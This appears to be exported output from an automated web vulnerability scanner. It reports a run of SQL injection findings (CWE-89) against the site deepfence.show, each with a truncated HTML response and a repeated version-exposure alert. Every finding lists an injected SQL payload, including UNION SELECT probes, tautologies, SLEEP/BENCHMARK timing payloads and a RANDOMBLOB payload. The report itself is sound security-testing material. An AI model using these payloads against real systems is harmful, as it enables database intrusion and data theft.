png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1333
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1083=1083 AND ('1427=
1427
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1334
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# HAVING 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1335
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# RANDOMBLOB(1000000000
/2)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1336
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1337
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1338
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1339
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or "1"="1"#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1340Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1341
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 27--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1342
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1343
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1344
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1345
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1346
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1347
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
